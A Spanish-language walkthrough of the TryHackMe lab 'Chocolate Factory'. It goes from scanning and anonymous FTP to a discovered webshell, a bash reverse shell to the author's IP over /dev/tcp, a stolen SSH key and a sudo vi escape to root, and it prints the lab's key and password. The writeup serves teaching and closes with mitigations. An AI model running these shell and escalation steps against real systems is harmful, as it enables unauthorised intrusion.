Chocolate Factory - TryHackMe
xhetic
@xhetic
📚 Esta publicación pertenece a la colección:
Chocolate Factory - TryHackMe Walkthrough
Bienvenido a mi writeup de Chocolate Factory, una room temática de TryHackMe inspirada en la película de Charlie y la Fábrica de Chocolate.
Room: Chocolate Factory
Dificultad: Easy
OS: Linux
Objetivo: Capturar las flags de usuario y root
🎯 Información del Objetivo
IP Target: 10.114.142.138
🔍 Fase 1: Reconocimiento (RECON)
Comprobación de Conectividad
Empiezo con un ping para verificar que la máquina está activa:
ping -c1 10.114.142.138-c1→ Envía solo 1 paquete ICMP y para
64 bytes from 10.114.142.138: icmp_seq=1 ttl=62 time=43.3 ms
El TTL es 62, lo que me indica que estoy ante una máquina Linux. El valor base de TTL en Linux es 64, y el 62 simplemente refleja los 2 saltos de red que ha atravesado el paquete.
💡 Referencia rápida de TTL:
- TTL ≈ 64 → Linux/Unix
- TTL ≈ 128 → Windows
Escaneo de Puertos
Lanzo un escaneo rápido de todos los puertos TCP:
nmap -p- --open -sS --min-rate 5000 -n -Pn 10.114.142.138-p-→ Escanea los 65535 puertos TCP--open→ Solo muestra puertos abiertos-sS→ SYN scan (stealth)--min-rate 5000→ Mínimo 5000 paquetes por segundo-n→ Sin resolución DNS-Pn→ Sin ping previo
PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http 100/tcp open newacct 101/tcp open hostname 102/tcp open iso-tsap ... 125/tcp open locus-map
Hay muchos puertos abiertos, lo cual llama la atención.
Hay puertos recurrentes desde el 100 hasta el 125. Eso es inusual, por lo que voy a investigar qué hay detrás con un escaneo de versiones.
Escaneo de Versiones y Scripts
nmap -p21,22,80,100-125 -sCV 10.114.142.138-p21,22,80,100-125→ Escanea los puertos relevantes identificados-sV→ Detección de versiones-sC→ Scripts NSE por defecto
El resultado revela que los puertos relevantes son únicamente estos tres:
21/tcp open ftp vsftpd 3.0.5 | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-rw-rw-r-- 1 1000 1000 208838 Sep 30 2020 gum_room.jpg 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-title: Site doesn't have a title (text/html). 113/tcp open ident? | fingerprint-strings: |_ http://localhost/key_rev_key <- You will find the key here!!!
El resto de puertos (100–125 excepto el 113) devuelven todos el mismo mensaje decorativo de bienvenida, son básicamente ruido.
Los importantes son:
- Puerto 21 (FTP): login anónimo habilitado, y hay un archivo
gum_room.jpg. - Puerto 80 (HTTP): hay una web Apache.
- Puerto 113: el fingerprint revela una pista directa → existe un archivo llamado
key_rev_keyaccesible en la web.
📁 Fase 2: Enumeración
Enumeración FTP Anónimo
Me conecto al FTP con usuario anónimo para descargar el archivo que aparece en el escaneo:
ftp 10.114.142.138Accedo con usuario ftp (alias de anonymous) y contraseña vacía
230 Login successful.
Descargo gum_room.jpg y lo examino. Podría contener esteganografía, pero no encuentro nada relevante dentro.
Lo dejo aparcado y paso a la web.
Enumeración Web — Puerto 80
Al acceder a http://10.114.142.138 encuentro un formulario de login con la temática de la fábrica de chocolate.
El formulario envía las credenciales a validate.php.
No veo robots.txt ni nada llamativo en el código fuente. No almacena cookies. Tampoco logro bypasear el login directamente con tecnicas de SQL injection básicas.
La página del login se ve así:

Paso a enumerar archivos y directorios. Primero pruebo con la wordlist por defecto:
dirb http://10.114.142.138 /usr/share/wordlists/dirbuster/directory-list-2.3-small.txtFuerza bruta de directorios con una wordlist pequeña como primer intento
Tras un rato no encuentro nada.
Amplío la búsqueda con una wordlist orientada a archivos:
dirb http://10.114.142.138 /usr/share/seclists/Discovery/Web-Content/raft-large-files.txtWordlist más específica para descubrimiento de archivos individuales
Esta vez encuentro rápidamente el archivo home.php.
Al acceder veo que es una webshell que permite ejecutar comandos directamente en el servidor como www-data.

🚀 Fase 3: Explotación — Reverse Shell vía Webshell
Teniendo ejecución de comandos remotos, me envío una reverse shell. Primero me pongo en escucha:
nc -nlvp 4444-n→ Sin resolución DNS-l→ Modo escucha-v→ Verbose-p 4444→ Puerto de escucha
Y desde la webshell ejecuto:
/bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.139.157/4444 0>&1'Recibo la conexión como www-data. Aplico el tratamiento de TTY estándar para estabilizarla:
script /dev/null -c bashGenera una pseudoterminal (PTY) para mejorar la shell
Pulso Ctrl + Z y desde mi terminal:
stty raw -echo; fgstty raw→ Modo raw: los caracteres van directamente sin procesamiento local-echo→ Evita la duplicación de caracteres en pantallafg→ Trae la shell al primer plano
reset xterm
export TERM=xterm💡 Con esto consigo una terminal completamente funcional:
Ctrl + Csin perder la sesión y autocompletado conTab.
🔑 Obtención de la Clave
Recordando la pista del puerto 113, descargo el binario key_rev_key desde la máquina:
wget http://10.114.142.138/key_rev_keyDescargo el binario ELF a mi equipo para analizarlo
Lo abro como texto plano para identificar el tipo de archivo. Veo ELF en la cabecera, lo que confirma que es un binario Linux. Para extraer cadenas legibles sin ejecutarlo:
strings key_rev_keyExtrae todas las cadenas de texto imprimibles del binario
Entre el resultado encuentro lo interesante:
Enter your name: laksdhfas congratulations you have found the key: b'-VkgXhFf6sAEcAwrC6YR-SZbiuSb8ABXeQuvhcGSQzY=' Keep its safe Bad name!
El binario espera un nombre concreto (laksdhfas) y al introducirlo devuelve la clave Fernet. Lo verifico ejecutándolo:
chmod +x key_rev_key && ./key_rev_keyDoy permisos de ejecución y lo ejecuto para confirmar el comportamiento
Al introducir laksdhfas, obtengo la clave confirmada:
La guardo para más tarde.
👤 Acceso como Charlie
Desde la shell de www-data, exploro el sistema y encuentro el directorio /home/charlie:
ls -la /home/charlieLista el contenido del directorio home de charlie con permisos
-rw-rw-r-- 1 charlie charlie 1766 Sep 30 2020 teleport -rw-rw-r-- 1 charlie charlie 394 Sep 30 2020 teleport.pub -rw------- 1 charlie charlie 38 Jan 14 2021 user.txt
Hay un archivo teleport y otro teleport.pub a los cuales tengo permisos de lectura. Tras consultar su contenido, compruebo que es una clave privada SSH (teleport) y su par pública (teleport.pub).
Tambien veo otro archivo user.txt, pero no tengo acceso con el usuario actual.
Copio el contenido de teleport a mi máquina y lo uso para conectarme como Charlie por SSH.
En el primer intento me equivoco y olvido los permisos:
ssh charlie@10.114.142.138 -i teleportPrimer intento — falla porque los permisos del archivo de clave son incorrectos
WARNING: UNPROTECTED PRIVATE KEY FILE! Permissions 0644 for 'teleport' are too open.
SSH rechaza la clave porque los permisos son demasiado abiertos. Lo corrijo:
chmod 600 teleport && ssh charlie@10.114.142.138 -i teleportchmod 600→ Solo el propietario puede leer y escribir (requerido por SSH)
Esta vez entro sin problema como charlie.
🚩 Flag de Usuario
Con acceso como Charlie, puedo leer la flag de usuario:
cat /home/charlie/user.txt🚩 Flag de usuario capturada!
⬆️ Fase 4: Escalada de Privilegios
Compruebo los permisos de sudo:
sudo -lLista los comandos que charlie puede ejecutar con privilegios elevados
User charlie may run the following commands on ip-10-114-142-138: (ALL : !root) NOPASSWD: /usr/bin/vi
Puedo ejecutar vi con sudo sin contraseña. Aunque la regla especifica !root intentando restringir la ejecución directa como root, vi permite escapar a una shell interactiva, lo que hace que esa restricción no sea efectiva.
Consulto GTFOBins para confirmar el vector:
sudo /usr/bin/viAbro vi con privilegios elevados
Una vez dentro del editor, ejecuto una shell desde la línea de comandos interna de vi:
:!/bin/bashDesde el modo de comandos de vi, ejecuta /bin/bash con los privilegios heredados de sudo
whoamiroot
¡Root! 🎉
🚩 Flag de Root
En el directorio /root/ no hay un root.txt convencional. En su lugar encuentro un script Python al cual tengo permisos de lectura y escritura.
cat /root/root.pyfrom cryptography.fernet import Fernet
import pyfiglet
key=input("Enter the key: ")
f=Fernet(key)
encrypted_mess= 'gAAAAABfdb52eejIlEaE9ttPY8ckMMfHTIw5lamAWMy8yEdGPhnm9_H_yQikhR-bPy09-NVQn8lF_PDXyTo-T7CpmrFfoVRWzlm0OffAsUM7KIO_xbIQkQojwf_unpPAAKyJQDHNvQaJ'
dcrypt_mess=f.decrypt(encrypted_mess)
mess=dcrypt_mess.decode()
display1=pyfiglet.figlet_format("You Are Now The Owner Of ")
display2=pyfiglet.figlet_format("Chocolate Factory ")
print(display1)
print(display2)El script solicita una clave Fernet para descifrar un mensaje cifrado. La clave que obtuve del binario key_rev_key es exactamente esto.
Intento ejecutarlo directamente, pero explota con un TypeError: el script pasa la variable encrypted_mess directamente a f.decrypt() como string, pero Fernet exige bytes.
Como tengo permisos de escritura, lo corrijo añadiendo .encode():
dcrypt_mess = f.decrypt(encrypted_mess.encode())Vuelvo a probar y veo que el arte ASCII de pyfiglet da fallos. Antes que comerme la cabeza en arreglarlo, simplemente lo voy a quitar porque no es relevante para obtener la flag.
Ejecuto la versión corregida e introduzco la clave:
python3 root.pyEjecuto el script con Python 3 e introduzco la clave Fernet cuando la solicite
Al introducir -VkgXhFf6sAEcAwrC6YR-SZbiuSb8ABXeQuvhcGSQzY=, el script descifra el mensaje y obtengo la flag de root.
🚩 Flag de root capturada!
🍫 Bonus: Contraseña de Charlie
La room también pregunta por la contraseña de Charlie (la que se usaría en el formulario de login del puerto 80). Revisando el directorio de Charlie no encontré nada al respecto.
Recuerdo que quizás el archivo donde se valida las credenciales de login (validate.php) tiene las claves hardcodeadas.
cat /var/www/html/validate.phpConsulto el archivo PHP que gestiona la autenticación del formulario de login
Tal como sospechaba, la contraseña de Charlie está hardcodeada directamente en el código PHP.
cn7824📊 Resumen
Cadena de Ataque
Webshell (home.php) → Reverse Shell (www-data) → Clave SSH (teleport) → SSH como Charlie → sudo vi → Root → Descifrado Fernet (root flag)
Herramientas Utilizadas
- nmap — Reconocimiento de puertos y servicios
- ftp — Enumeración del servicio FTP anónimo
- dirb — Descubrimiento de archivos en la web
- netcat — Listener para la reverse shell
- strings — Análisis estático del binario ELF
- GTFOBins — Referencia para escalada de privilegios con vi
- Python 3 + cryptography — Descifrado de la flag con Fernet
🛡️ Vulnerabilidades y Mitigaciones
| Vulnerabilidad | Severidad | Mitigación |
|---|---|---|
| Webshell accesible públicamente | CRÍTICA | Eliminar archivos de shell en el servidor web, auditar despliegues |
| Clave privada SSH del usuario expuesta | CRÍTICA | Restringir permisos del home; no almacenar claves en rutas accesibles |
| Contraseña hardcodeada en PHP | ALTA | Usar hashing y almacenamiento seguro de credenciales |
| FTP anónimo habilitado | ALTA | Deshabilitar acceso anónimo al FTP |
| sudo vi sin contraseña (escalada) | ALTA | Revisar reglas sudoers; nunca conceder editores de texto sin restricción |
📚 Referencias
🔗 Si quieres seguir aprendiendo y mejorando tus habilidades, explora mis writeups paso a paso en Shadows y mis apuntes y guías técnicas en Shards.
Happy Hacking! 🎩🔐
Sigueme en TryHackMe :
Writeup realizado con fines educativos. Recuerda solo realizar pentesting en entornos autorizados.